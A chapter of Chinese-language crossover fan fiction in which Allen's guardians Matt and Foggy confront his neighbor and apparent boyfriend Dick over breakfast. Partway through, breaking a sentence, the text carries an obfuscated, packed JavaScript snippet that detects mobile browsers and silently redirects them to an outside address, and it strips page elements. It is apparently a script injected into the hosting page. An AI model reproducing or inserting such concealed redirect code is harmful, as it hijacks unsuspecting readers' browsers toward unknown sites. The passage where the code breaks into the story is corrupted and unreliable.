什么都不知道的弗吉用心疼的眼神看着艾伦:“艾伦宝贝,等会儿我帮你修一修卧室的门吧。” 艾伦看着迪克被夹在门缝里的屁股:…… 马修嘴角抽搐了一下。 “说不定那该死的门等会儿自己就想清楚该干什么了!走吧,我去做该死的土豆培根汤!” 艾伦垮下嘴角:“……可是我不想吃土豆……” 在律师无声的威胁中,艾伦闭上嘴,在心中越发肯定马修的喜怒无常。 真是搞不懂,马修怎么又生气了?明明该生气的是他才对吧! 他的宝贝骨(谷)子! 16.确认关系? 第二天一大早的餐桌上,一口气失去两个宝贝骨子的奥斯本医生化悲愤为食欲,捧着一碗麦片吃得香喷喷。 艾伦在土豆的威胁前也依旧不肯妥协,死都不碰马修做出来的一大锅黏糊糊不知所云的东西。 坐在他周围的三人食不下咽无语凝噎。 来自纽约的暴力律师单手拎着盲杖,神色冷漠,一句话都不说,显然非常排斥坐在餐桌旁的客人和客人做的麦片。 被讨厌的客人端着另一碗麦片假装自己吃得津津有味。 实际上他正在地板上用脚趾抠蝙蝠洞。 没办法,他就算是逃离了艾伦的卧室,最后也只能再次走进艾伦的……他俩共用的大横厅。 迪克感觉这个场面的尴尬程度堪比当初蝙蝠侠和猫女隔着监狱小窗在半空中调情时忘记关掉家族通讯频道的场景。 甚至比那还要尴尬。 精英律师马修·默多克周身气场冷硬如冰,就好像他站在对垒金并律师的法庭上,正磨刀霍霍。 他当然认出来了这个突然从客厅的大洞里冒出来的、自称艾伦室友的混蛋。只是他实在是没想到,艾伦居然已经和这个混蛋同居了,并且对这个事实毫不否认! 虽然他很期待艾伦的成长,但绝不是以这个速度! 弗吉·尼尔森正在宕机中,他满目震惊地沉浸在‘他家小孩居然已经成长到可以和别人交朋友了’这件事里无法自拔。 场面一时间静悄悄的,除了艾伦之外的每一个人都处于一种欲言又止止言又欲,说每一个字都感觉不太合适但又沉默似乎又更加奇怪的氛围中。 这种氛围始于迪克从卧室里蹦跶出来‘正式’和医生的叔叔见面的时候。 当时,社达夜翼对着马特叔叔露出一个阳光灿烂的笑容,努力假装他刚回家而不是刚出柜:“……呃,嗨?今天天气不错,你们是艾伦的朋友吗?好巧,我也是……哈,哈哈。” 什么都不知道的弗吉缓缓打出一个问号。 啊?原来隔壁不是艾伦的地盘吗?那幸好他和马特还没来得及去那边收拾。 然后他又心想,不是……邻居你怎么回事?房间乱得和我们家糟心小孩完全一样?难道这就是传说中的臭味相……啊不对,是物以类聚嘛? 最后他反应过来:室友……好像不应该通过房间中间被炸开的大洞互相交流? 马修立刻扭头去看艾伦,艾伦则理所当然地对大洞另一边的迪克说他要吃麦片和煎蛋。 马修一口气堵在胸口,他捏着土豆,盲杖已经蓄势待发,只是还没想好怎么避开艾伦打人。 艾伦则是不想让马修知道他吃了太多骨子,于是再心疼也只能假装卧室里的小型战斗没有发生过,不然他怕剩下的都保不住了。 迪克同马修做自我介绍,马修则咬牙切齿地自我介绍说自己是个专门把偷窥狂、小变态、欺骗少年感情的街边小黄毛送进监狱的律师。 迪克心有余悸地摸了摸自己的满头黑发。 弗吉:“……你太谦虚了,马特。迪克,你别听他的,一般我们律所处理的都是经济纠纷案和刑事案件。” 马特:“我其实比较擅长处理情感纠纷和离婚案,家暴案件也不是不行。” 迪克后退一步:“哈哈,听上去真不错。祝你工作顺利……如果需要抓捕偷窥狂的话,我想我可以帮忙,毕竟我是个警察。” 很好,基本上可以确定他的出柜现场被艾伦的叔叔抓了个正着。 马修继续补充:“无论什么人敢欺骗艾伦的感情,我都会用合法的手段把他送进监狱,让他后悔出生在这个世界上。你说对吧?艾伦。” 艾伦:……? 完全搞不懂马修到底在说什么。 只有弗吉在替马修尴尬了一下之后,继续热情友好地对着艾伦的舍友尬聊:“你们的客厅装饰是战后爆炸风吗?很特别哦……你吃早餐了吗?要不要和我们一起吃一点?” 他心想,艾伦宝贝这次真是长大了,曾经连马修和他都无法忍耐的少年现在已经可以和别人共享客厅了。 真是太好了呜呜!所以就让弗吉叔叔来帮你维持这难得的友情吧! 就是弗吉这一句话,医生、警察和律师在卧室聚会后又一次齐聚在客厅。 艾伦毫无所觉地抬头:“你们都不饿吗?” 迪克习惯性地把自己面前的煎蛋推给艾伦,然后从艾伦的盘子里插走一块小番茄。 做完之后,他后知后觉地感觉到‘马特叔叔’身边的气场更可怕了。刚刚还是乌云密布,现在已经开始电闪雷鸣。 神经大条的弗吉纯洁的眼神落在艾伦和迪克身上,完全感觉不到感觉到两人之间不同寻常的默契感和氛围。 他再度为艾伦的成长而开心得眼泪汪汪,他的小艾伦已经交到除了莱克斯·卢瑟、金并、靶眼和丧钟这些猪朋狗友之外的正常朋友了! 看看对面的警察多么阳光又正值,一看就和黑暗世界毫无关系。 艾伦正把煎蛋一口塞进嘴里,腮帮子鼓鼓囊囊的说不出话,迪克适时递上纸巾帮他擦掉嘴角的一点蛋黄流心。 “味道怎么样?我从油管上学会的俄式煎蛋,加了羊奶酪味道会更好吗?” 艾伦嘴里塞着鸡蛋:“唔。” “好吧,那明天我们还吃这个。” 艾伦继续大吃一口:“嗯。” 弗吉·尼尔森用勺子搅了搅碗里的麦片,毫无食欲地扭头看艾伦:“艾伦,你别告诉我你每天就吃这个?我不是说麦片不好吃,只是这也太没有营养了。” 艾伦咽下嘴里的食物,心满意足地回答:“有时候也吃点儿别的。” “比如?” “医院提供的汉堡和可乐、迪克推荐的辣热狗和墨西哥卷饼、迪克冰箱里的速冻饺子、迪克……” 弗吉:“……” 你的好朋友迪克这个限定词出现的频率是不是太高了一点? 马修已经忍不住了:“你是医生,应该知道那些都不健康!还有,你能不能别一口一个迪克?” 迪克:“……” 艾伦挑衅地继续大吃一口:“哦。” 马修:“……” 艾伦当然知道那些不健康。但是和迪克一样,他们都太忙了,忙得没工夫关心饮食健康。 过大的压力让他们这行的人比平常人更容易放纵自我。前两天他们天天劝别人戒烟的呼吸科主任还因为在医院天台上抽了一整盒烟被人投诉了。 比起其他资深医生,艾伦的状态已经很不错了。他抗压能力算是天花板级别,也从不会因为手术焦虑,更不会在病人死亡的时候于深夜情绪失控。 迪克给艾伦端来一杯柠檬水,弗吉和马修一言难尽地看着贤惠的邻居警察收拾了桌子,又指挥艾伦将餐具扔进水池里。 关键是艾伦一点儿意见都没有,听话得完全不像是刚刚要和老父亲干架的反骨仔。他甚至按照迪克的吩咐,把衣服分了颜色才扔进洗衣机。 弗吉:“……艾伦,今年生日想要什么礼物?我送你一个洗碗机怎么样?” 艾伦思考了几秒钟,觉得这却是是个不错的主意:“嗯,那装到迪克的厨房吧。” 迪克立刻比划了一个ok的手势。 弗吉终于意识到什么,他小小声问道:“……艾伦,我以为你会喜欢女孩子……好吧,你以前说过你不喜欢人类。” 艾伦:? 他是不喜欢人类啊,有什么问题吗? 弗吉噎了一下,然后再次向艾伦确认:“所以……你们已经交往很久了?” 艾伦自动把弗吉口中的交往理解成表面意思,他点点头准确报数:“六个月零三天。” 弗吉算了算,心想,那不就是你来布鲁德海文之后马上就交到了男朋友?这么丝滑的吗? 突然,弗吉想到了另一种可能——会不会艾伦一开始就是为了迪克才来布鲁德海文的?他肯定是害怕马修不接受自己的恋情吧。 马修肯定有点接受不了,天主教徒对同性恋怎么看的来着? 好像……去年梵蒂冈才颁布了教令不允许牧师给同性恋婚姻祝福? 弗吉担忧地去看马修,果然在马修脸上看见了磅礴的怒气。 马修一直没放下手里的盲杖,并趁着起身的机会状似不小心实则蓄意报复地给了迪克一棍子。弗吉倒吸一口冷气,感觉他们律所以后可以循环播放《摩登家庭》、《无耻之徒》和《绝望的主妇》。 迪克捂着小腿,欲哭无泪。 艾伦好心提醒:“……你打到迪克了,马特。” 弗吉也小心翼翼:“别这样马特,孩子大了,总有自己的想法。” 马修皮笑肉不笑:“哦。” “……你不道歉吗?” “我为什么要道歉?” “对不起迪克,我替马修道歉,他太不小心了!” 迪克:“哈……没……没关系。” 弗吉心想,我真是为这个即将破碎的家庭操碎了心。 艾伦心想,马修的ptsd真是越来越严重了,他现在这个表情肯定是把迪克当街头小流氓了。 所以今晚问问汉尼拔有没有空来布鲁德海文出个诊吧,另外可以给迪克再报个散打班,免得下次他打不过律师。 不知道儿子在想什么的马修拎着盲杖说要去帮迪克洗碗。 迪克怎么敢劳烦马特叔叔,于是在各种推搡中再度被马修狠狠敲中了后背和小腿。 艾伦:“……马特,你是不是对迪克有意见?” 弗吉:……你才看出来吗? 看着马修舞得风生水起的棍子和警察矫健躲避的身影,弗吉终于还是叹了口气。 他一言难尽地看着艾伦:“……就非他不可吗?所以你和迪克是怎么在一起的?”迪克一看就是以前艾伦绝对不愿意接触的类型。 艾伦喜欢的朋友是莱克斯·卢瑟那种高智商、会伪装、心理阴暗又足够颠的家伙,和他自己差不多。 因此弗吉不得不怀疑:“你喜欢他的脸?” 艾伦仔细看了看迪克的脸,感觉好像和别人的没什么区别,所以虽然不知道弗吉为什么要提到迪克的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14882305|158506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但他还是他努力挑出迪克的优点,证明自己一贯的正确性:“他屁股形状比别人好看!” 马修回头:“肤浅!” 弗吉懒得理会暴怒的老父亲,他已经开始担心艾伦的未来:“……但是你又不会一直待在布鲁德海文,你真的不准备回纽约了吗?等你离开……迪克怎么办?” “到时候再说。”艾伦突然有点烦躁,“我把他一起带走不就好了?” “那你问过迪克的意见吗?” 艾伦现场询问:“迪克,你以后要跟我一起住吗?” 迪克低着头努力洗碗,顺便努力让自己不要在马特叔叔面前表现得太得意。 “咳咳……我们现在谈这个问题是不是有点早?呃,好吧,我的意思是说我想和你一起,一直住在一起听起来也很不错。”迪克有些纠结地回答。 他突然发现,好像医生的计划比他的更加长远,他比较擅长发展一段短暂愉悦的亲密关系而不是长久稳定的关系。 ‘迪克,你总是把你不愿面对的人和事丢在身后,或许这就是你这么擅长表演高空秋千的原因吧。’* 迪克恍惚之间突然想起曾经一位友人对他的评价。 他回头看向艾伦,突然之间产生了一种比表演高空秋千时产生的肾上腺素更令他舒适的兴奋感。 他心想,原来医生早就默认了他们之间的关系呀,看来是他太迟钝了……也对,艾伦刚刚在卧室里什么都不问就帮他遮掩。 他自觉已经接收到了医生向他发射出来的积极信号,于是也努力作出回应:“放心吧,马特……我可以这样叫你吗?我会好好照顾艾伦的,你瞧,我们在这里生活得很不错。” 艾伦立刻积极配合:“没错,所以你可以赶紧滚回你的纽约了,这里不需要你。” 弗吉感觉自己看见了难以调和的婆媳关系,于是更加坚定自己以后结婚了肯定要搬出去住的想法。 他戳着艾伦的后背,疯狂提醒:“你委婉一点!” 于是艾伦委婉地说:“请委婉地走开吧!我和迪克住在这里已经够拥挤的了!” 弗吉清清嗓子:“没错,马特,孩子们需要自己的空间!” 马特表示他很愤怒,并且指出了艾伦公寓里每一处违法的地方,包括但不限于艾伦不知从哪里来的鳄鱼尾巴和外星生物脊椎模型。 马特:“光是你这一屋子的罪证,我就可以让格雷森把你带走。” 艾伦想都没想,脱口而出:“迪克不会这么做。” 马修突然愣住了。 因为他几乎从来没有在艾伦口中听过如此没有理智的话。 他设想了一下,如果放在以前,艾伦一定会告诉他,他手中有足以让迪克·格雷森身败名裂的把柄,又或者他早就在这间公寓里安装了陷阱以防止有人背叛他。艾伦会把不稳定因素控制在手中……不,艾伦根本不可能让不稳定因素出现,无论如何他都绝对不会没有任何理由地冒出一句‘他不会这样做’。 但是艾伦自己似乎还没有意识到他刚刚那句话是情感占据了理智的上风。 艾伦面对咄咄逼人的律师,选择破罐子破摔:“总之,我的事你少管!” 那边迪克的嘴角已经比AK都难压,他几度欲言又止,想劝又好像没什么立场,只能偷偷瞅着新出炉的医生男友傻乐。 虽然他也不知道他和医生这段关系能维持多久,但至少现在他很开心。 至于艾伦,他根本完全没意识到发生了什么。他只为马修和弗吉不想让他和迪克住在一起而感到莫名烦躁。他很喜欢目前的状态,并且不准备做出改变。他早就说过了,要让迪克当他的管家,和他住在一起天天给他煮麦片,这有什么问题吗? 当然不会有问题。艾伦心想,如果有人想提意见,他会解决提意见的人。 马修站在原地,定定地‘看’艾伦和迪克,在‘看见’艾伦歪歪扭扭的领带之后,他突然福至心灵。 “艾伦,我的意思是这里太小了,我想也许你们需要更大的空间和更短的通勤时间……你考虑动用一下奥斯本的信托基金吗?” 别误会,马修当然不是准备支持艾伦和一个他并不清楚底细的家伙一起生活,他只是想到就算他再怎么觉得艾伦是个可爱的孩子,艾伦本质上也是个犟骨头、傲慢鬼、完全不会照顾自己的笨蛋以及嘴毒到把人气死的小混蛋。 和他一起住绝对不是什么好的体验,他觉得隔壁这个家伙不可能一直忍耐。或许他完全不用担心。 心机深沉的律师突然露出一个理解的笑容,开始更换策略:“我帮你找个好点的房子吧,艾伦,比如奥斯本名下的……” 艾伦听懂了马修的意思—— 诺曼老登该爆金币了。 艾伦眼睛一亮。 就在这时,古德曼女士的电话突然打了进来。 “艾伦,很抱歉打扰你的假期。但有件事我不得不告诉你——费奇·约翰逊先生死了,就在刚刚。” “作为主治医生,和家属沟通是你的任务。约翰逊夫人已经在这里等你了,艾伦。”